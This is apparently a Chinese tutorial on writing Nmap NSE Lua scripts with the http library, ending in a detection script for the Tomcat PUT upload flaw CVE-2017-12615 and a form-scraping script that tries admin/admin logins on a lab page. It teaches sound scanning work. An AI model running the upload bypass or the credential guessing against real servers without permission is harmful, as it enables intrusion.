由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,一叶知安以及文章作者不为此承担任何责任。

一叶知安拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经一叶知安允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。


0X01 HTTP包的使用


一般情况下,我们扫描一些Web服务的同时需要进行渗透测试、安全评估、漏洞检测等操作,但是官方并未提供符合我们需求的脚本,这时候就要自己写脚本了。Nmap已经内置了HTTP包,不需要再进行下载和配置。


0x02 基础概念铺垫


首先,先介绍两个表结构,为了方便我们后续的数据操作,让读者先熟悉两个东西:

响应表中主要涵盖了:HTTP状态码、HTTP响应头、HTTP版本、HTTP原始响应头、Cookies、HTTP响应主体内容(body)等

Response: 
     status: 200
     header: 
       content-length: 0
       allow: POST,OPTIONS,HEAD,GET
       connection: close
       content-type: text/html
       server: Apache/2.4.29 (Debian)
       date: Fri, 06 Jul 2018 07:02:13 GMT
     ssl: false
     body: 
     cookies: 
 
     status-line: HTTP/1.1 200 OK\x0D

     rawheader: 
       Date: Fri, 06 Jul 2018 07:02:13 GMT
       Server: Apache/2.4.29 (Debian)
       Allow: POST,OPTIONS,HEAD,GET
       Content-Length: 0
       Connection: close
       Content-Type: text/html
       
    version: 1.1


Options表主要用于设置HTTP请求时的超时时间、Cookie、请求头、HTTP认证、页面缓存、地址类型(IPV4/IPV6)、是否验证重定向

{
timeout:
header:{"Content-Type":"",...},
cookies:{{"name","value","path"},...},
auth:{username:"",password:""},
bypass_cache:true,
no_cache:true,
no_cache_body:true,
any_af:true,
redirect_ok:true
}


0x03 确认目标主机的HTTP服务是否支持HEAD

local http = require "http"

这里主要使用can_use_head函数,参数有4个,函数原型如下:

local status,header = can_use_head(host,port,result_404,path)


参数说明:


需求:确认目标主机是否支持HEAD,如果支持则输出响应头

local stdnse = require "stdnse"
local http = require "http"
prerule=function()
end
hostrule=function(host)
	return false
end
portrule=function(host,port)
	if(port.number == 80) then
		return true
	end
	return false
end
action = function(host,port)
	local result
	local status = false
	status,result = http.can_use_head(host,port,404,"/")
	if(status) then
		http_info = stdnse.output_table()
		http_info.header = result.header
		http_info.version = result.version
		return http_info
	end
end
postrule=function()
end


代码解读:

看完代码读者可能会有疑问,hostrule函数为什么返回false?

在hostrule中返回false是因为如果是true会自动调用action,此时port的值是nil,所以会抛出一些错误。

紧接着就是将端口号为80的host和port交给action函数执行,调用can_use_head函数,判断status是否为true,是true则支持HEAD方法请求。最后生成一个output_table,用来将响应内容填入这个表,以便于格式化显示。

1.jpg


如果只想取得目标主机响应的server,我们可以这样写:

……
action = function(host,port)
	local result
	local status = false
	status,result = http.can_use_head(host,port,302,"/")
	if(status) then
		http_info = stdnse.output_table()
		http_info.header = result.header
		http_info.version = result.version
		http_info.server = result.header["server"]
		return http_info
	end
end
……


执行结果如下:

2.jpg


0x04 发送一个HTTP请求

generic_request是一个最基本的发送HTTP请求的函数,参数有以下几个:


例如:

发送一个OPTIONS请求,来获取目标服务支持哪些HTTP方法

local stdnse = require "stdnse"
local http = require "http"
prerule=function()
end
hostrule=function(host)
	return false
end
portrule=function(host,port)
	if(port.number == 80) then
		return true
	end
	return false
end
action = function(host,port)
	local result = http.generic_request(host,port,"OPTIONS","/",nil)
	if(result.status == 200)then
		local allow_method = stdnse.output_table()
		allow_method.allowMethods = result.header["allow"]
		return allow_method
	end
end
postrule=function()
end


执行结果如下:

3.jpg


该函数返回一个响应表,具体可参考前面的0X02响应表


0x04 发送一个GET请求

get函数也是基于generic_request函数的,具体可以去看nselib/http.lua源代码,该函数有以下参数:


除了比generic_request函数中少了一个method参数,其他相同。

local stdnse = require "stdnse"
local http = require "http"
prerule=function()
end
hostrule=function(host)
	return false
end
portrule=function(host,port)
	if(port.number == 80) then
		return true
	end
	return false
end
action = function(host,port)
	local result = http.get(host,port,"/nmap")
	if(result.status == 404)then
		local status = stdnse.output_table()
		status.response_line = result["status-line"]
		return status
	end
end
postrule=function()
end


执行结果:

4.jpg


该函数返回一个响应表,具体可参考前面的0X02响应表


0x05 发送一个POST请求

post函数也是基于generic_request函数的,具体可以去看nselib/http.lua源代码,该函数有以下参数:


username=admin&password=admin
或者:
local data = {}
data.username = "admin"
data.password = "admin

尝试使用账号密码登录某个系统


用php脚本语言写一个简单登录判断的页面:

<?php
if(isset($_POST["username"]) && isset($_POST["password"]))
{
	$username = $_POST["username"];
	$password = $_POST["password"];
	if($username == "admin" && $password == "admin"){
		echo "login success !";
	}else{
		echo "login failed !";
	}
}else{
	echo "please login !";
}
?>


通过post函数提交username与password,然后获取body判断是否登录成功

……
action = function(host,port)
	local cert = {}
	cert.username="admin"
	cert.password="admin"
	local result = http.post(host,port,"/index.php",nil,true,cert)
	if(result.status == 200)then
		local status = stdnse.output_table()
		status.response_line = result["body"]
		return status
	end
end
……


执行结果:

5.jpg


该函数返回一个响应表,具体可参考前面的0X02响应表



0X06 编写一个检测CVE-2017-12615的脚本

为了检验读者对之前的内容是否有所收获,所以产生一个需求,编写一个针对CVE-2017-12615的漏洞检测脚本。首先我们需要了解这个漏洞:

编写CVE-2017-12615的漏洞检测脚本

攻击者可以利用这个漏洞,向目标服务器上传恶意 JSP 文件,通过上传的 JSP 文件 ,可在用户服务器上执行任意代码,从而导致数据泄露或获取服务器权限,存在高安全风险。

漏洞的利用方式是通过PUT请求,这让我们不得不学习一个新的函数——put函数,它的参数类似于post函数


这里我使用Docker已经搭建好了一个Tomcat环境:

6.jpg


编写的脚本如下:

local stdnse = require "stdnse"
local http = require "http"
prerule=function()
end
hostrule=function(host)
	return false
end

portrule=function(host,port)
	local ports = {80,8080,8090,8899}
	for i in pairs(ports)do
		if(port.number == ports[i])then
			return true
		end
	end
end


action = function(host,port)
	local shell_name = string.format("/%d.jsp","/",math.random(9999))
	local status = stdnse.output_table()
	local put_rsp = http.put(host,port,shell_name.."/",nil,"CVE-2017-12615")
	if(put_rsp.status == 201)then
		status.shell_name = shell_name
		return status
	end
	return false
end
postrule=function()
end

在action函数中,首先生成一个随机的文件名,然后发送PUT请求,判断响应码是否是201。注意,发送PUT请求的时候,文件扩展名后门必须带”/”,是为了绕过tomcat的检测。


执行结果:

7.jpg

使用浏览器访问:

8.jpg


发现CVE-2017-12615这个字符,证明该漏洞的确存在。


0x07 响应内容匹配

当我们需要对HTTP响应内容进行操作的时候,需要学习一些字符串操作函数、HTTP包内的函数。


了解了这个函数后,我们可以继续将CVE-2017-12615漏洞检测脚本进一步的优化,让脚本判断写入了jsp文件后,判断是否是我们写入的字符串。这样能够使检测脚本的准确度大大提高,下面请看我在action函数中写入的新代码:

……
action = function(host,port)
	local shell_name = string.format("%sCVE-2017-12615-CHECK-%d.jsp","/",math.random(9999))
	local status = stdnse.output_table()
	local put_rsp = http.put(host,port,shell_name.."/",nil,"CVE-2017-12615")
	if(put_rsp.status == 201)then
		status.shell_name = shell_name
		local response = http.get(host,port,shell_name)
		if(response and http.response_contains(response,"CVE%-2017%-12615") )then
			return status
		end
		return false
	end
	return false
end
……


脚本执行结果与上一节中的内容相同,只是多了一次GET请求,为了让读者真正理解这个脚本的执行过程,下面对比一下wireshark流量:

9.jpg


首先脚本直接向80端口发送了一个PUT请求,然后服务器响应405,漏洞利用失败。

紧接着脚本又请求了8080端口,服务器响应201,证明漏洞利用成功。

10.jpg

11.jpg

通过向8080端口发送PUT请求成功利用后,又向写入文件发送了一次GET请求,获取响应内容,进行字符串匹配,达到更加深度的验证漏洞是否利用成功。


0X08 并发HTTP请求

这里说的并发HTTP请求的原理是与目标主机建立一个socket,在每一次发送报文后都不会断开(除了最后一次请求)。平常我们在扩展脚本中调用一个http.get函数,将会返回一个响应表,代表已经获取了目标主机的响应报文,当返回响应表之前就已经与目标主机断开了连接。下一次调用http.get时,还需要进行一次建立连接的过程,导致我们会消耗一定的时间。如果一个扩展脚本需要发送多次请求,可以考虑使用http.pipeline_add与http.pipline_go配合使用。

下面就来介绍这两个函数如何配合使用

http.pipeline_add参数如下:


一个请求表

  path: 
     options: 
       header: 
         Connection: keep-alive
_    method: GET


可以有多个,下标从1开始,如果需要查看这个请求列表的结构,可以直接在action函数中return出http.pipeline_add的返回值,代码演示如下:


……
action = function(host,port)
	local all_requests = http.pipeline_add("/index.jsp",nil,nil,"GET")
	all_requests = http.pipeline_add("/docs/changelog.html",nil,all_requests,"GET")
	return all_requests
end
……


执行结果:

12.jpg


因为调用了两次http.pipeline_add,所以会产生两个请求列表队列元素,如果只想获取第一个请求队列元素,可以return all_requests[1]

下面我们要开始将队列交给http.pipeline_go函数,由它来完成所有请求,函数参数如下:


示例代码:

……
action = function(host,port)
	local status_lines = stdnse.output_table()
	local all_requests = http.pipeline_add("/index.jsp",nil,nil,"GET")
	all_requests = http.pipeline_add("/docs/changelog.html",nil,all_requests,"GET")
	local all_response = http.pipeline_go(host,port,all_requests)
	for i,resp in ipairs(all_response)do
		status_lines[i] = resp["status-line"]
	end
	return status_lines
end
……


这段代码中添加了两个请求队列元素,分别是:


将队列交给http.pipeline_go函数后,返回一个响应列表,all_response[1]对应index.jsp的响应表,all_response[2]对应/docs/changelog.html的响应表。因此可以使用迭代,将每个请求的某个字段放入一个输出表里,本次示例是取得了两次请求队status-line。

执行结果:

13.jpg


0x09 表单操作

关于表单操作,在爬虫、漏洞扫描、爆破时用的较多,一般要先取回目标主机的响应body,然后字符串匹配获得表单结构。但是这些操作在Nmap中已经提供了一些方法,接下来就让我们一起学习http包中的表单操作函数吧。

http. grab_forms 用于在响应内容中查找表单,并返回一个form_list表,参数如下:

返回值:

获取页面中的表单列表


我使用apache和php搭建了一个简单的登录界面,尝试通过Nmap的扩展脚本来获取表单列表。

14.jpg


查看一下HTML源码:

15.jpg


可以发现页面中这个表单是提交到index.php的,并且提供了两个输入值,分别是username和password,这种情况下我们完全可以采用lua的字符串匹配模式获得input的name,但是如果页面上有很多表单,这就会增加我们处理数据的压力。

我们来试试http.grab_forms函数:

local http = require "http"
prerule=function()
end
hostrule=function(host)
	return false
end
portrule=function(host,port)
	if(port.number == 80)then
		return true
	end
end
action = function(host,port)
	local response = http.get(host,port,"/index.php")
	local login_forms = http.grab_forms(response.body)
	return login_forms
end
postrule=function()
end


因为http.grab_forms函数接收的是响应表的body,所以需要调用http.get函数将响应表取到,再把响应表的body传递进去。

执行结果:

16.jpg


目前是获得了一个登录表单,注意:返回的是一个表单列表,而不是只能获得一个表单,在登录页面中新添加一个表单后:

17.jpg


再执行脚本观察一下:

18.jpg



如果还想进一步获得input的name值,就要学习另外一个函数—— http. parse_form

参数如下:

返回值:

示例:


test: 
   action: /index.php
   method: post
   fields: 
     
       type: text
       value: test
       name: username
     
      type: text
       value: test
_      name: password


注意:fields是一个table,不是一个字符串,里面有表单的多个字段

需求:爬取页面表单,并尝试登录


当前页面有两个表单,先尝试一个表单来登录,整体步骤如下:

  1. 抓取表单

  2. 解析表单

  3. 拼接字段

  4. 登录

  5. 判断是否登录成功


action = function(host,port)
	local login_table = {}
	local response = http.get(host,port,"/index.php")
	local login_forms = http.grab_forms(response.body)
	local form = http.parse_form(login_forms[1])
	for i,name in ipairs(form.fields)do
		login_table[form.fields[i].name]="admin"
	end
	local login_response = http.post(host,port,"/index.php",nil,nil,login_table)
	if(http.response_contains(login_response,"success"))then
		login_table.login_status = true
		return login_table
	end
	login_tabke.login_status = false
	return login_table
end


本段代码首先获取index.php的响应表,通过http.grab_forms函数获得登录,将返回值(第一个表单)交给http.parse_from,取得表单fields(字段),然后遍历每一个字段的name,把它填入一个table,最后执行http.post函数,刚好http.post的data可以是一个table也可以是一个字符串。请求完毕后得到登录的响应结果,再由http.response_contains判断是否登录成功,登录成功会出现success字样提示。

为了解决疑惑,我贴出index.php的源代码:

<!DOCTYPE html>
<html>
<body>
<?php
if(isset($_POST["username"]) && isset($_POST["password"]))
{
	$username = $_POST["username"];
	$password = $_POST["password"];
	if($username == "admin" && $password == "admin"){
		echo "login success !";
	
	}else{
		echo "login failed !";
	
	}

}else{
	echo "please login !";

}

?>
<hr/>
<form action="/index.php" method="post">
username:<br>
<input type="text" name="username" value="test">
<br>
password:<br>
<input type="text" name="password" value="test">
<br><br>
<input type="submit" value="Submit">
</form>
……
</body>
</html


源链接

Hacking more

...